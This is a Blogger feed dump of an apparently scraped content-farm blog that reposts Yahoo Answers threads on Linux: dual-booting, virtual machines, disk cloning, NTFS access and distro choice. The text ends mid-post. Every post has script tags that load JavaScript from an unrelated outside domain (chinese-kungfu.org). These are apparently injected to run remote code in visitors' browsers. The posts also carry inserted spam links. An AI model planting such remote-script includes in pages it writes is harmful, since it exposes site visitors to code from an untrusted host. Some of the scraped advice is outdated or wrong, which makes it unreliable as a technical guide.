tag:blogger.com,1999:blog-50733949724386291662024-03-13T09:30:28.808-07:00linuxnerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.comBlogger147125tag:blogger.com,1999:blog-5073394972438629166.post-65979410983007145212009-07-15T00:52:00.000-07:002009-07-15T00:52:00.965-07:00What are the pros and cons of a good linux 64-bit distro?More specifically...what is it capable of? And what can it not do? I have never used linux before and I am putting together a new system that will dual-boot. I want to use XP for games and linux to play around with. Other than pros and cons, what distro will take advantage of multi-cores and 4gb+ ram? Can you run games on a linux system with a VM?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What are the pros and cons of a good linux 64-bit distro?<br>If you are not familiar with Linux I suggest go for the VM environment instead of dual boot. One cool thing about VM environment is you can share resources easily and much less time to switch back and forth. On the con side it takes double RAM for running VM environment.<br><br /><br /><br><br /><br />Few things to consider.<br><br /><br /> - 64 bit VM will only work with 64 bit base OS. So if you install 32 bit base OS 64 bit VM can't be created. (XP/2003 server or Vista)<br><br /><br /> - Use Red hat or Suse or some well supported Linux distribution. You might run into a bunch of driver issues <br><br /><br /> - Make sure you have lots of RAM. I suggest 2 GB or more. VM uses physical ram and not paging file so you need 512-1024 MB ram for base OS and256 to 512 MB for guest OS.<br><br /><br /> - Check for RHOS logos for driver availability. Or stick to 1-2 year older hardware you will definitely find drivers <br><br /><br /><br><br /><br />Most of 64 bit distros will make use of RAM more than 4 GB some base OS will not for e.g.Windows XP will only recognize 3 GB of ram even if you have 4 GB installed. For that matter Linus started supporting 64 bit and 1 TB of ram at least 3 years before windows did.<br><br /><br /><br><br /><br />Only problem I have with dual boot is if you don't have network driver it takes long time to down load and install until you get internet going.<br><br /><br /><br><br /><br />You can run pretty much all games on Linux VM. I am using SUSE and windows server for my setup and it's running greate. I only have problems with Wireless Lan and under Linux while running under dual boot.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://1song-meanings.blogspot.com/>song meanings</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-19727291202695026912009-07-15T00:51:00.002-07:002009-07-15T00:51:43.221-07:00I need to know if there is any way to install windows9x under Linux?I need to know if I can actually install and run win ME INSIDE Linux. I know I can install linux inside windows, but I am not sure of the opposite. I'm currently running winME and mandrake-Linux 8.0 Powerpack Edition on a dual boot system, on a 530 mhz Intel computer. If you know of a method to install winMe under Linux, so that windows runs inside Linux, let me know.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>I need to know if there is any way to install windows9x under Linux?<br>qemu(http://qemu.org/).<br><br /><br /><br><br /><br />personally I use bochs(http://bochs.sourceforge.net).<br><br /><br /><br><br /><br />of course to emulate apps there is always wine(http://winehq.com)<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-37438868810225501582009-07-15T00:51:00.001-07:002009-07-15T00:51:32.056-07:00What should I use for backing up/cloning a linux computer?I used to have norton ghost and acronis for windows, which I really liked. Is there a comparable package on linux?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What should I use for backing up/cloning a linux computer?<br>Ya there are plenty.<br><br /><br /><br><br /><br />Freeghost<br><br /><br />http://sourceforge.net/projects/freeghos...<br><br /><br /><br><br /><br />Partimage<br><br /><br />http://www.partimage.org/Main_Page<br><br /><br /><br><br /><br />This one is great but is not capable of cloning from a larger disk to a smaller disk, working with individual disk partitions, or creating or restoring image files (locally or otherwise). If thats not your situation this is what Id recommend.<br><br /><br />http://www.miray.de/products/sat.hdclone...<br><br /><br /><br><br /><br />http://www.feyrer.de/g4u/ <br><br /><br />http://clonezilla.sourceforge.net<br><br /><br /><br><br /><br />Personally I like clonezilla, but whatever does it for you.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-41029996021851394622009-07-15T00:51:00.000-07:002009-07-15T00:51:13.500-07:00How do I convert a windows partition to a linux partition?I need to intall linux on a computer while retaining windows without doing a partitionless installation.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How do I convert a windows partition to a linux partition?<br>I really dont think that is possible. <br><br /><br />You will have to partition the drive while installing linux. I think that is because linux uses its own type of a file system other than windows. <br><br /><br />When i installed Mandrake on a pc that was already running windows 2k, the mandrake installation made a partition of its own n installed. However, it was dual boot.<br>Reply:u cannot do it. if u want the linux with all features,some time back i had used some kind of software wich offers only shell... which can be installed on windows partion<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-55100239780422779072009-07-15T00:50:00.003-07:002009-07-15T00:50:55.742-07:00What is the difference between hosting on windows or linux?I am starting up a website, and I've noticed that when signing up for hosting, it asks what kind of hosting you want, Windows or Linux, what is the difference. Are there compatability issues? Will I be able to use my mac?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What is the difference between hosting on windows or linux?<br>You would be able to use any operating system to view the pages. Whether you want to host on Windows or Linux determines what operating system you want the host to run. There are standards in the form of protocols (FTP, HTTP, SSH) in place that would solve any communication problems. (The way a mac, windows, or linux computer can all access the same website, because it uses HTTP.)<br><br /><br /><br><br /><br />The main factor in your decision should be what programming languages you want to run. If you want to use PHP/MySQL or Oracle based scripts, I would choose Linux or Unix. <br><br /><br /><br><br /><br />If you want to use ASP.NET or any .NET based scripts, I would choose Windows, as Linux does not support these languages.<br><br /><br /><br><br /><br />In my experience, Linux runs faster and more stable than Windows. But I'm not going to say 'it runs faster period' as that usually leads to flame wars.<br><br /><br /><br><br /><br />Hope this helps,<br><br /><br />Ken<br>Reply:if ur site does not use any server side scripts it will not be any issue .<br><br /><br /><br><br /><br />if ur website uses a linux based server side database and scripts it may not work on linux (in case of asp) and in case of .net it will not work on linux till date<br><br /><br /><br><br /><br />and for windows same is the case<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2pollen.blogspot.com/>pollen</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-5458818873450914952009-07-15T00:50:00.002-07:002009-07-15T00:50:39.077-07:00What files do I have to download to run Linux from a CD?Is the ISO file enough or do I need to download additional file for my computer to read the ISO. PS. I already tried but even though my CD ROM is working my PC would not load LINUX.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>What files do I have to download to run Linux from a CD?<br>As Banstorm said you would possibly want to get hold of a live Cd of Linux, you can either get this as a CD which you will need to insert into your CD/DVD drive and reboot the machine or as an iso image which you must burn to a CD, making sure the computer is set to boot from the CD drive (you may have to alter the bios to get this to work, not dificult)<br><br /><br />If you burn a Linux distro iso to a CD and boot your computer you will then install linux to your hard drive so you will be able to pick between starting in windows or linux.<br><br /><br /><br><br /><br />It may pay to check out a site like http://www.justlinux.com, it's got all the info you will need and if you sign up there are plenty of people willing to help you.<br>Reply:I was just checking out the latest release of Kororaa Linux. It's got a great GUI and runs off a CD(though I haven't played with it extensively). Check it out. There's also Damn Small Linux which will run off a CD or a USB Flash Drive.<br>Reply:You need a "Live" linux bootable distro.<br><br /><br />You will need a decent CD/DVD burning package to burm the .iso<br><br /><br />Check out the link below, most links off that page will provide help also.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-834503623142402742009-07-15T00:50:00.001-07:002009-07-15T00:50:25.199-07:00How do I connect to a wireless network in Linux?I don't know a lot about Linux, so please explain everything.<br><br /><br />I clicked the connect to network thing and entered ethe password, but it doesent work. I am using a netgear WG11v2 54mbps wireless USB adapter.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How do I connect to a wireless network in Linux?<br>Which distro are you using, and dont use netgear<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-84219618770527850252009-07-15T00:50:00.000-07:002009-07-15T00:50:07.009-07:00How would Linux and Windows work together?I have Windows XP right now so there is the welcome screen when I boot it up. If I also download Linux, how would that change or affect my laptop? Would there automatically be a welcome screen that lets me to select either windows or linux? And about about Linux ubuntu? Free? Safe? Good?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How would Linux and Windows work together?<br>To install ubuntu linux, you download the cd image from the site and burn it, or if you have a slow connection you can order the cd for free from shipit. when you install ubuntu, it will partition your drive and create what is known as a dual-boot system. then when you start up your computer there will be a text menu (known as the grub boot menu) asking which operating system you would like to use, if you dont answer within a certain time it loads the default. so yes you can select which one starts on your computer. <br><br /><br />Ubuntu is free. I would say it is safer than xp because there are fewer viruses for it and nothing can install without your permission. The firewalls are harder to configure than windows firewall in my opinion. Overall it is a very good system to run. My favorite part is that it keeps all of your software up to date that you install from the repositories, Like in windows update when you download the patches for the operating system, only ubuntu does it for the os and all the programs, which is more secure. <br><br /><br />Give it a try, and google for help if you need it.<br>Reply:Princess's comments are on the mark. <br><br /><br /><br><br /><br />I have been dual-booting Windoze and Ubuntu for a couple of years now. I have installed it on several machines, and I find it to be very easy to install, safe, good, and very good at identifying hardware (I do have an intermittant problem with the soundcard on my new laptop though). <br><br /><br /><br><br /><br />If you install Ubuntu or PCLinuxOS or Mint to your harddrive, you will get a grub startup menu when you turn on the machine, and it will default to Linux, unless you choose otherwise, or unless you go into a file (/boot/grub/menu.lst) and change the default. <br><br /><br /><br><br /><br />I have not used Wubi. I did a quick search on it a while ago and it seems to be ok (not problem free, but neither is Ubuntu or any other distro). However, you will get better performance, and probably stability, by installing to the harddrive. Windoze is criticized for being unstable, so if you run Linux from within Windoze, you have that layer of risk there all the time. <br><br /><br /><br><br /><br />If you decide to install, read up on the process first, pay attention, make sure you have your Windoze OS and software disks and serial numbers in hand BEFORE going any further, then backup your data before you start. I have never had a problem on an install - but for some people if anything can go wrong, it will. <br><br /><br /><br><br /><br />Read, heed, and proceed.<br>Reply:Some Linux distributions will detect the Windows environment and install a boot loader, so that you can select which OS to run.<br>Reply:You can set the PC to dual-boot<br><br /><br /><br><br /><br />Ubuntu or PClinuxOS would be my top 2 choices for Linux Distros.<br><br /><br /><br><br /><br />When you download and install linux, grub will handle pre-loading of the o/s....<br><br /><br /><br><br /><br />when you boot your computer you will have 30s to choose between linux or windows...then it will go to default<br><br /><br /><br><br /><br /><br><br /><br />if you are a newbie to installing linux, you might want to try wubi..<br><br /><br /><br><br /><br />http://wubi-installer.org/<br><br /><br /><br><br /><br />it will install ubuntu linux from within windows, it doesnt require you to partition your drive at all, and sets up dual-boot automatically.<br>Reply:Normally you can't use both... until they created Wubi. Wubi Ubuntu Linux can be installed in Windows and chosen on booting up, visit www.wubi.org<br><br /><br /><br><br /><br />Linux is safer from Viruses though is not entirely problem-free, it's better in my opinion too if I could get used to it after being on Windows so long.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-76996080230209575362009-07-15T00:49:00.003-07:002009-07-15T00:49:51.782-07:00How good is VMware for linux within windows?I've read about WMware Server and player; coLinux, etc. I need to have a system that will allow me to access the same files in both linux and windows; I currently use a dual boot system and it makes me crazy. Unfortunately, I have windows-only apps that are critical and also the need to do a lot of stuff in linux... <br><br /><br /><br><br /><br />I appreciate the expertise on Yahoo Answers; thanks for your help.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How good is VMware for linux within windows?<br>I like my setup. I run VMware server and I just setup a shared folder on linux that I map as network drive in Windows to keep all of my common files. VMware performance is great, especially with a dual core system with 2 gigs of ram.<br>Reply:I run dual-boot XP-Linux on a desktop and Vista-Linux on my laptop. I can access the files on either partition from Linux. I tend to save my files in a D: data drive - fat32 format, so that I can access them from either Linux or Windows. I also use programs that are available in Windows and Linux where possible. I find it very easy. <br><br /><br /><br><br /><br />I can not address VMware, other than to say you will get faster, more stable operation running the native Linux or Windows, rather than going thru VMware. <br><br /><br /><br><br /><br />My internet works fine with either by the way, but I am using a wired router, not wireless - wireless on linux can be a pain, or it can be a piece of cake, depending on hardware.<br>Reply:I've also got a duel boot system with xp sp2 and ubuntu. we never use Linux because we cant get it to work with our Internet, and I like playing games on windows. I think you can access files on the hard drive from Linux but i don't think in works the other way round. What is this VMware that your talking about I've never heard of it, i would like to know. if any one would like to tell me my email is shurmer1@yahoo.com <br><br /><br />this answer has probably not helped you at all but i hope it has, I'm afraid I don't understand your problem. but good luck any way =)<br>Reply:I didn't do the install of it but we have it running on a Windows XP Pro 64-Bit laptop hosting Suse and it runs just fine. I don't know if the sys admin that set it up encountered any problems configuring but he had it configured pretty quickly.<br>Reply:I prefer VirtualBox, it's free and very quick under windows.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2playing-cards.blogspot.com/>playing cards</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-43631778883606565332009-07-15T00:49:00.002-07:002009-07-15T00:49:36.270-07:00How can you update the Linux kernel without an Internet connection?Is there a way to update the Linux kernel (in Ubuntu, in this instance) without using an Internet connection within Ubuntu? Updating the Linux kernel would allow me to install ndiswrapper so that I can get a working Internet connection in Ubuntu (I don't have an ethernet connection in my PC.) How can I accomplish this?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How can you update the Linux kernel without an Internet connection?<br>You NEED to get your hands on the new kernel or its sources. However you do it, it is up to you. Question, what version of Ubuntu you are using? And what is your wireless adaptor? Fedora provides great wireless network support.<br><br /><br /><br><br /><br />"This release provides a number of firmware packages for enhanced wireless networking. NetworkManager presents a graphical interface that allows users to quickly switch between wireless and wired networks for increased mobility. NetworkManager is installed by default in both GNOME and KDE Live CDs."<br><br /><br /><br><br /><br />--Fedora Project Wiki.<br><br /><br /><br><br /><br /><br><br /><br />If you wish to remain with Ubuntu, you NEED the sources or the kernel to update it, either by means of network connectivity, CD, flash drives....<br>Reply:You don't say which version of Ubuntu you have, but I think every recent version was quite willing to install ndiswrapper right after installation - without any kernel updating necessary. <br><br /><br /><br><br /><br />A kernel update will not get you ndiswrapper, and it won't give you internet access. If ndiswrapper isn't on your installation DVD, you will still need internet access through a network / dsl connection to gain access to and install ndiswrapper. Don't worry about a kernel update, get the wired internet connection to gain access to ndiswrapper (as well as the kernel upgrades and every other upgrade that exists to date).<br>Reply:there may be a way but I just get the newest OS and install fresh after backing up my goodies some say is far simpler<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-38127625282406537272009-07-15T00:49:00.001-07:002009-07-15T00:49:19.456-07:00Can I get a job if I learn linux for 6 months?I am planning to learn Linux for 6 months ( about 3H per day). Will I be ab;le to find a job as entry level easly or not? If not what should I learn to make it happen ? Thx.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Can I get a job if I learn linux for 6 months?<br>You should be able to if they are hiring. Kind of toiugh in the job market now but things should get better in a couple months.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-74531266112679746622009-07-15T00:49:00.000-07:002009-07-15T00:49:02.914-07:00How can I access a Windows partition from linux?I am running Ubuntu and XP dual boot on my laptop. I am able to access my Linux partition from windows using software from the internet. How can I access my window partition from Ubuntu?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How can I access a Windows partition from linux?<br>Go here http://ubuntuguide.org/wiki/Ubuntu_Edgy (Starter Guide)<br><br /><br /><br><br /><br />go to section 1.15 windows. Just follow the directions<br><br /><br /><br><br /><br />Remember to bookmark this page. As you will find most of your answers here. If not ask your questions at http://www.linuxquestions.org or http:/www.linuxforums.org<br>Reply:This website provides a guide on just what you are asking for:<br><br /><br /><br><br /><br />http://www.psychocats.net/ubuntu/mountwi...<br><br /><br /><br><br /><br />Note that Windows XP uses the NTFS file system (partition type, in other words), so you can ignore any FAT32 partition type instructions. FAT32 was used in older versions of Windows. <br><br /><br /><br><br /><br />It seems as though Linux has difficulty dealing with writing to NTFS partitions. If you plan on creating/writing files to the NTFS partition, you will have to use additional software. This website provides an installation guide of the ntfs-3g software:<br><br /><br /><br><br /><br />http://www.ubuntuforums.org/showthread.p...<br><br /><br /><br><br /><br />The ntfs-3g software can be found at:<br><br /><br /><br><br /><br />http://www.ntfs-3g.org/<br><br /><br /><br><br /><br />To be honest with you, this is no small undertaking, and I have not attempted this myself. <br><br /><br /><br><br /><br />Hope this helps!<br>Reply:To access NTFS partitions from Linux you can use this tool:<br><br /><br />http://www.ntfs-linux.com/home/personal/<br><br /><br /><br><br /><br />Here's review from PCmag: <br><br /><br />http://www.pcmag.com/article2/0,1895,185...<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-67682492700463847672009-07-15T00:48:00.002-07:002009-07-15T00:48:48.292-07:00Can I install ipod linux on a 5th gen 80GB ipod video?It says on the ipod linux site that it'll work on 1st, 2nd, and 3rd gen ipods but I've heard that it's been successfully installed on all ipods (except maybe the new ones and obviously the shuffle). I'm really curious. Are there any real risks? The worst that can happen is that I have to restore it to factory settings correct? I have my music backed up. Any other recommendations about ipod linux?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Can I install ipod linux on a 5th gen 80GB ipod video?<br>I think it should be able to install on iPod Video. Hope this guide help http://www.youtubetoipod.biz/guide/ipod-...<br>Reply:I dont know...but I have the same exact Ipod as you!!!!!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://graphics-cards2.blogspot.com/>graphics cards</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-29849676910682078272009-07-15T00:48:00.001-07:002009-07-15T00:48:32.639-07:00Which Linux Edition is best for me and how can I download it?I want to install linux on my intel pentium 3 laptop, and I want to know which edition is best, just for home internet use. I don't know how to use the ftp sites, but I do know how to install it and burn the images to the disk. Thanks for all your help!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Which Linux Edition is best for me and how can I download it?<br>You need to get the i386 or the x86 versions of Linux. Asking what is best for you is like asking what kind of girl or guy is best for you. Here are 2 that I personally like<br><br /><br /><br><br /><br />http://www.opensuse.org<br><br /><br />http://fedora.redhat.com<br><br /><br /><br><br /><br />RJ<br>Reply:Ubuntu<br>Reply:fedora 4 is good.. and knoppix live dvd is ultimate.. its so fast that you dont feel the difference between live and installed..<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-11255972800934254442009-07-15T00:48:00.000-07:002009-07-15T00:48:24.966-07:00What should i know before buying a linux pc?What are the things that aren't so good about linux?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What should i know before buying a linux pc?<br>hardly any software works on it and if you don't understand source code then forget getting linux, i used it for a few months and it was a waste of time, don't bother, go for windows xp, not vista, yet. forget what people tell you about linux being better than windows, it isnt, those people just want to be different and probably like the smell of their own foeces<br>Reply:everything.<br>Reply:About the only "bad" things I have found with Linux is the lack of drivers for webcams, which is not the fault of Linux, but because the manufacturers won't provide the information necessary to write the drivers. I haven't found any problems with programs using Ubuntu Linux. It is quite user friendly, you don't need to know how to write code or anything. Almost everything you want to do can be done with programs written specifically for Linux.<br>Reply:Don't know about that guy above me but I was an early employee at a company that made linux computers and was eventually sold for billions of dollars.<br><br /><br /><br><br /><br />So we must have done something right :)<br><br /><br /><br><br /><br />Here is the short answer:<br><br /><br /><br><br /><br />A Linux PC is no different from any other PC. You can run Linux on the PC you already have.<br><br /><br /><br><br /><br />In fact, unlike Windows, you can run Linux on PCs that don't have enough horsepower for MS anymore.<br><br /><br /><br><br /><br />It won't cost you anything to try. there are any number of free, bootable cds or dvds available that will run but not write to your hard drive.<br><br /><br /><br><br /><br />Here is what you do:<br><br /><br /><br><br /><br />I suggest starting with the knoppix version, located at knoppix.org. It has great hardware support, and a very good sampling of all kinds of software for you to try out, already installed and ready to go.<br><br /><br /><br><br /><br />If you can boot from DVD, load the DVD version instead of the CD for even more software to try.<br><br /><br /><br><br /><br />If you want, you can install Linux and Windows at the same time on your hard drive and choose which one to use at boot time. But play around with the bootable DVD a while first.<br><br /><br /><br><br /><br />I have both windows and linux pcs at home. I use a linux machine for 98% of my desktop work these days.<br><br /><br /><br><br /><br />Here are things I can do that you probably will want to do to:<br><br /><br /><br><br /><br />1 - browse the internet using firefox browser<br><br /><br />2 - send email using any number of email clients that are also available on windows<br><br /><br />3 - edit photos<br><br /><br />4 - create and view flash movies<br><br /><br />5 - create and view pdf files<br><br /><br />6 - create and edit microsoft office files using OpenOffice or other similar applications<br><br /><br />7 - network with all of the other computers on my network<br><br /><br />8 - any p2p application you want<br><br /><br /><br><br /><br /><br><br /><br />Here are some things I can do with linux that I can't do with windows easily:<br><br /><br /><br><br /><br />1 - run a web server<br><br /><br />2 - run a email server<br><br /><br />3 - run a ftp server<br><br /><br />4 - run an ssh server<br><br /><br />5 - run a game server<br><br /><br />6 - virtualization - the PC I am using to type this is actually acting as about 6 PCs right now for all intents and purposes, making much better use of my hardware instead of having it sit around idle all the time,<br><br /><br /><br><br /><br />and so much more<br><br /><br /><br><br /><br />Most importantly, for Linux, there is a community of people to help you, and if a program doesn't work, someone is always working to fix it, or you can fix it yourself if you are so inclined.<br><br /><br /><br><br /><br />Try that with a windows application sometime :)<br><br /><br /><br><br /><br />Here are windows things I can do that are not needed on a linux system:<br><br /><br /><br><br /><br />1 - worry about viruses<br><br /><br /><br><br /><br />The cost of a Linux system is always free, as in speech, and as in beer.<br><br /><br /><br><br /><br />knoppix is a sort of "everything including the kitchen sink: distribution - another one I like that is less complete and well worth considering is PCLinuxOS. <br><br /><br /><br><br /><br />Others look towards ubuntu.org for beginners and desktop support in the community. You can try their bootable disks too. I am sure they are fine, but I haven't used them personally yet.<br><br /><br /><br><br /><br />All they cost to try is the time it takes to download, burn an iso image, and reboot your PC. For your protection, they won't write to your hard drive, so there is no risk at all. What are you waiting for? :)<br><br /><br /><br><br /><br /><br><br /><br />OK, that wasn't so short, but if someone asked why windows, it wouldn't be too short either. Linux is a VERY mature operating system, and so there is lots to say.<br>Reply:The newest Open SUSE is the closest thing to a windows like computer. It has come a long ways in development. It's only quirk is how slow it loads the system up, but once running it is fairly fast.<br>Reply:You will be unable to buy software created just for Window's-based computers until emulators have been created. (Not clear when this will take place.)<br><br /><br /><br><br /><br />But most major applications (word processing, photo processing etc) have been written for Linux, and many of these are free!<br>Reply:linux is really good for modding and for editing because it is open script and it is great for developers. I would suggest this if you are into that kind of stuff. But other than that, i don't think linux really has too many other features if you don't know script and don't know a lot of computer programming<br><br /><br /><br><br /><br />if you have a windows pc you can download a trial version of linux and use both windows and linux on the same system. It might be a little complex to configure the computer to run both (i think there is some software out that will help you run two OS [operating systems i.e. windows, apple mac...]) but in the long run, i will save you money if you don't really need a new computer for linux. ]<br><br /><br /><br><br /><br />heres the link to download linux<br><br /><br />http://www.smarter.com/---se--qq-Downloa...<br><br /><br />It may be an older version. but it will give you the overall feel for linux<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-51287291314386288862009-07-15T00:47:00.003-07:002009-07-15T00:47:59.908-07:00What do I need to do to run Unix or Linux from an external hard drive?I've just started a computer course and have been told to get Linux or, even better, Unix on my computer. I've got some advice and decided to install it onto my external hard drive. However, I'm pants with computers and have no idea how to do this. How is it possible to save an OS to an external hard drive? How does it boot? Will it run if Vista is on my computer's hard disk? Will the programs I've got on Vista be available in Linux/Unix? Could doing this screw up my computer? I hope this gets across how clueless I am. Could someone answer these questions and give me some step by step instructions for how to install it please? Would be appreciated! Cheers.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>What do I need to do to run Unix or Linux from an external hard drive?<br>i use linux, the cd's are called distro's... (distributions) theres dozens of em, all free and all slightly different... <br><br /><br /><br><br /><br />if your new to this try linspire xp2007, its dead easy to use... set your PC to boot from the CD, and thats it... <br><br /><br /><br><br /><br />looks like xp, behaves like XP but it doesnt crash... and all the associated software is free<br>Reply:Ask your instructor. I assume you are paying for the privilege of studying computers. Get something for your money - not shaky guidance from unknown, questionable sources on-line.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-34370957173237565582009-07-15T00:47:00.002-07:002009-07-15T00:47:45.794-07:00How do you create a shortcut in LINUX?If you dont know what linux is please don't tell me to right click on an icon and select new shortcut!!!<br><br /><br /><br><br /><br />I'm looking to give acess to the same item, from several desktops, for different users.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How do you create a shortcut in LINUX?<br>I'm assuming that you don't mean creating a link (via ln, or ln -s), which is generally analogous to a shortcut.<br><br /><br /><br><br /><br />Icons on desktops really depend upon the desktop you are using. Many window managers don't provide desktop icons at all, only some of the more involved desktop environments do (Gnome, KDE, and the next version of XFCE will too).<br><br /><br /><br><br /><br />With Gnome and XFCE, whatever is in your ~/Desktop folder appear on the desktop. To get an icon that runs a program, the best way to do this is with a desktop entry file, as described by freedesktop.org, this is supported by both Gnome and KDE.<br><br /><br /><br><br /><br />You could also link to a desktop entry file, using ln -s to create a symbolic link.<br><br /><br /><br><br /><br />If you need any more information, you'll need to elaborate on the problem a bit more.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2botanical-garden.blogspot.com/>botanical garden</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-5952624213797641942009-07-15T00:47:00.001-07:002009-07-15T00:47:28.831-07:00How can I get Simply Accounting to work on a Samba enabled Linux file server?Simply Accounting states that for multi-user mode, all machines that use the Simply (client and server) must be using the same operating system. How can I use Windows workstations that run the Simply client with a Samba enabled Linux file server that houses the Simply database?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How can I get Simply Accounting to work on a Samba enabled Linux file server?<br>You can't. You need the same platform accross the network<br>Reply:you can read this ebook :<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-90286272759708178162009-07-15T00:47:00.000-07:002009-07-15T00:47:12.081-07:00How do you take dial up internet in Ubuntu linux?Also please mention how can you login as root? I am new to linux and am self learning it.. i cant install new packages also.. also should i do anything special to install my modem in ubuntu.. theres a folder named linux in the drivers folder of my modem cd.. but doubleclicking the driver file in the folder doesnt yield any results..help ?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How do you take dial up internet in Ubuntu linux?<br>there is a program called KPPP.. on application menu %26gt;%26gt; Application %26gt;%26gt; Add/Remove %26gt;%26gt; on "search" box just type in "KPPP" and on "show" box select all available application... you'll see 2 programs, KPPP and KPPPLogView.. select both and click Apply.. <br><br /><br /><br><br /><br />In ubuntu, there's no need for you to login as root.. if you want to install a program (a firewall as example) just type "sudo apt-get install firestarter" at command prompt.. sudo enables you to run admin/root command.<br><br /><br /><br><br /><br />installing a modem driver that are not PnP in ubuntu requires a little knowlegde about linux.. 1st.. you have to read readme.txt, how to install documentation in that linux driver's folder.. some driver requires special care and special command. 2nd. Surf the web for the latest driver and download it.. 3rd Double clicking driver file wont let you go anywhere.. please read all documents in that folder and you might find commands like this ./configure, make, make install.. so read the instruction.. if you still have problems installing the modem driver.. feel free to zip and email me those driver files<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-47908420817370149162009-07-15T00:46:00.003-07:002009-07-15T00:46:58.162-07:00What is the best version of linux, besides Ubuntu?I've been researching different versions of Linux, besides the obvious Ubuntu, and I was wondering what some good alternatives are. Also are there any good websites that have mods for Ubuntu to change the theme and look?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>What is the best version of linux, besides 